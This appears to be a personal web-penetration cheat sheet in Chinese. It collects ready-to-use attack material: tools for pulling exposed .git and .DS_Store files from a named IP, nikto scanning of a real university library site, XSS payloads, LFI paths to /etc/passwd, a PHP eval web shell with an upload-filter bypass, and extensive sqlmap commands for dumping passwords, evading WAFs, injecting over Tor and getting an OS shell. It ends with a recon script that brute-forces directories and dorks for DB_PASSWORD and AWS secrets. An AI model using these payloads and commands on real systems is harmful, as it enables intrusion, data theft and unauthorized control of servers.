web
隱藏的檔案
1 2 3 4 5 6 7
| /git (網頁上看到 Forbidden(403) 通常都是 有這個資料夾) /.git/index
git clone https://github.com/BugScanTeam/GitHack.git 執行githack.py
ex: python2 GitHack.py https://140.134.25.138:10005/.git/
|
1 2 3 4 5
| /.DS_Store
git clone https://github.com/lijiejie/ds_store_exp.git
ex: python2 ds_store_exp.py 140.134.25.138:10006/.DS_Store
|
暴力目錄遍歷
port掃描
1
| nmap -sS -sV -p- -v -T4 (IP)
|
網站弱點掃描(kali內建)
1 2 3
| nikto -h 網址 -o 輸出檔案(不選擇輸出在終端機上)
ex: nikto -h https://innopac.lib.fcu.edu.tw/ -o result.html
|
查找封包原始內容
1
| 查Way Back Machine,輸入ip+port
|
XSS
會把整個頁面的head全刪除,留下一句Hacked就跑了
(勿試)
1
| <script>document.getElementsByTagName('body')[0].innerHTML="Hacked"</script>
|
Dom XSS(?
圖片語法
1
| <img src="才不存在呢" onerror="alert(1)">
|
實戰偷cookie
實作偷別人的cookie教學
(勿試)
https://hackmd.io/@foxo-tw/slides/%2F%40foxo-tw%2FByAkemFv7%3Ftype%3Dslide%23%2F1
LFI
1 2
| page=c:/Windows/System32/drivers/etc/hosts page=/etc/passwd
|
File Upload
php木馬
1 2 3 4 5
| <?php eval($_GET[CMD]); ?>
(要執行的時候就hack.php?CMD=phpinfo())
|
上傳檔案如果有鎖副檔名,用burpsuite:
1 2 3 4
| 把 Content-Type: application/octet-stream 轉 Content-Type: image/jpeg
|
b374k,後門php
XST
SQL injection
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86
| sqlmap -u 注入点 检测注入点是否可用 sqlmap -u 注入点 –batch 自动输入 暴库 sqlmap -u 注入点 –dbs //暴库 Web当前使用的数据库 sqlmap -u 注入点 –current-db //爆当前使用的库 Web数据库使用的账户 sqlmap -u 注入点 –current-user //当前使用的账户 列出sqlserver所有用户 sqlmap -u 注入点 –users // 列出所有使用过的账户 数据库账户与密码 sqlmap -u 注入点 –passwords //mysql的登录账户和密码 列出数据库中的表 sqlmap -u 注入点 -D 指定数据库名 –tables //(-D指定数据库名称) 列出表中字段 sqlmap -u 注入点 -D 指定数据库名 -T 指定的表名 –columns 爆字段内容 sqlmap -u 注入点 -D 指定数据库名 -T 指定表名 -C “email,username,userpassword” –dump (将结果导出) 指定导出特定范围字段内容 sqlmap -u注入点-D tourdata -T userb -C “email,username,userpassword”–start 1 –stop 10 –dump (1,10行数) Cookie注入 sqlmap -u “注入点” –cookie “id=97” –level 2 sqlmap -u “注入点” –table –cookie “id=97” –level 2 sqlmap -u “注入点” –columns -T “user” –cookie “id=97” –level 2 sqlmap -u “注入点” –dump -C “username,password”–columns -T “user” –cookie “id=97” –level 2 可对以上参数进行结合使用 python sqlmap.py -u “注入点” -f –banner –dbs –users
post登陆注入 mssql
sqlmap.py -u “http://” –data “tfUName=12345&tfUPass=12345”
sqlmap.py -u “http:” –data “tfUName=12345&tfUPass=12345” –dbs ==获取数据库名
sqlmap.py -u “http://” –data “tfUName=12345&tfUPass=12345” –tables -D “数据库名” ==列表
sqlmap.py -u “http://” –data “tfUName=12345&tfUPass=12345” –columns -T “表名” -D “数据库名” ==暴字段
sqlmap.py -u “http://” –data “tfUName=12345&tfUPass=12345” –dump –columns -C “字段,字段” -T “表” -D “数据名” ==暴字段内容
伪静态注入 注入点:http://.html (注意:要加个* 哪里存在注入就加上 * 号)
sqlmap.py -u http://*.html –dbs ==获取数据库名
sqlmap.py -u http://*.html –tables -D “数据名” ==获取数据库当中的表
sqlmap.py -u http://*.html –columns -D “数据名” -T “表名” ==获取数据库的表中的字段
sqlmap.py -u http://*.html –dump -D “数据名” -T “表名” -C “字段,字段” ==获取数据库的表中的字段内容
绕过防火墙注入 确认是否开了WAF Sqlmap -u “注入点” –thread 10 –identify-waf (首选) sqlmap -u “注入点” –thread 10 –check-waf 备选 使用参数绕过 Sqlmap -u “注入点” –random-agent -v 2 (浏览器绕过) Sqlmap -u “注入点” –hpp -v 3 (参数污染绕过) Sqlmap -u “注入点” –delay=3.5 –time-sec=60 Sqlmap -u “注入点” –proxy=211.211.211.211.8080 –proxy-cred=211.:985 代理注入 sqlmap -u “注入点” –ignore-proxy 禁止用代理注入,直接注入 sqlmap -u “注入点” –flush-session 清空会话,重构注入 sqlmap -u “注入点” -hex 或者–no-cast 进行字符码转换 sqlmap -u “注入点” –mobile 对移动端的服务器进行注入 sqlmap -u “注入点” –tor 匿名注入
直接拿shell或者执行命令(需要权限很大跟物理路径)
sqlmap.py -u url –os-shell
sqlmap.py -u url –os-cmd=ipconfig
请求延时(一般突破防火墙)
第一种方法:sqlmap.py -u url –delay 2 (注意:2是两秒的意思,也就是说2秒访问一次) 第二种方法: sqlmap.py -u url –safe-freq 3 (注意:3是3次的意思。。)
可以组合使用 sqlmap.py -u url –delay 2 –safe-freq 3
测试注入点权限: sqlmap -u url –privileges
执行shell命令命令 sqlmap -u url –os-cmd=”net user” //执行netuser命令 sqlmap -u url –os-shell //系统交互的shell ————————————————
|
https://hackmd.io/@bttea/sqlmap_common_parameters
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90
| #!/bin/bash
if [ $# -ne 1 ];then echo "Usage: $0 <target>" exit 1 fi
target=$1 mkdir -p recon-$target cd recon-$target echo "[*] 正在初始化偵查目標: $target"
# 1. Whois / DNS 基本資料搜集 echo "[*] Whois資訊搜集..." whois $target > whois.txt
echo "[*] DNS資訊搜集..." dig $target any > dig_any.txt dig $target mx > dig_mx.txt dig $target txt > dig_txt.txt host -a $target > host.txt nslookup $target > nslookup.txt
# 2. 子域名搜集(Kali內建) echo "[*] 子域名收集(dnsenum+fierce+dnsrecon)..." dnsenum $target -o dnsenum.xml fierce --domain $target > fierce.txt dnsrecon -d $target -a > dnsrecon.txt
# 3. theHarvester 整合收集Email/帳號/子域 echo "[*] theHarvester收集Email/帳號..." theHarvester -d $target -b all -f theharvester.html
# 4. 技術棧分析 (whatweb+curl頭部) echo "[*] 技術棧分析..." whatweb -v $target > whatweb.txt curl -I http://$target > curl_headers.txt
# 5. Nmap大範圍掃描 echo "[*] Nmap完整掃描..." nmap -sS -sV -p- -v -T4 $target -oA nmap_fullscan
echo "[*] Nmap HTTP相關漏洞掃描..." timeout 60 nmap --script=http-enum,http-vuln* -p 80,443 $target -oA nmap_http_enum
# 6. HTTP Method測試 echo "[*] HTTP Method探測..." curl -X OPTIONS -I http://$target > http_methods.txt
# 7. 爆破目錄與檔案 (gobuster/dirb/wfuzz) echo "[*] gobuster目錄爆破..." gobuster dir -u http://$target -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x aspx,jsp,php,html,txt,zip,bak,tar.gz -t 50 > gobuster.txt
echo "[*] dirb目錄爆破..." dirb http://$target /usr/share/wordlists/dirb/common.txt > dirb.txt
echo "[*] wfuzz爆破..." wfuzz -c -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --hc 404 http://$target/FUZZ > wfuzz.txt
# 8. Google Hacking提示 echo "[*] Google Hacking建議語法,請手動搜尋:" echo "----------------------------------------" echo "site:$target ext:sql | ext:bak | ext:old | ext:backup" echo "site:$target intitle:\"index of\"" echo "site:$target inurl:\"admin\" | \"login\"" echo "site:$target inurl:\"upload\" | \"submit\"" echo "site:$target ext:xml | ext:json | ext:conf | ext:env | ext:jsp" echo "site:$target \"Warning\" | \"Fatal error\" | \"unexpected token\"" echo "site:$target \"phpinfo()\"" echo "site:$target \"DB_PASSWORD\" | \"AWS_SECRET_ACCESS_KEY\"" echo "cache:$target" echo "site:$target filetype:pdf | filetype:docx" echo "site:$target \"Apache Tomcat\" | \"Jenkins\" | \"Confluence\"" echo "----------------------------------------"
# 9. 歷史資料蒐集 echo "[*] 手動挖掘Archive歷史頁面,嘗試存取Wayback Machine..." curl "http://web.archive.org/cdx/search/cdx?url=$target/*&output=text&fl=original" > archive_urls.txt
# 10. SSL掃描 echo "[*] SSL弱點掃描..." sslscan $target > sslscan.txt
# 11. 旁站偵測 echo "[*] 旁站偵測(http-vhosts)..." nmap --script=http-vhosts -p 80 $target -oA vhost_enum
echo "[*] 偵查完成,所有資料已經收集!"
|
https://otx.alienvault.com/indicator/ip/210.69.167.102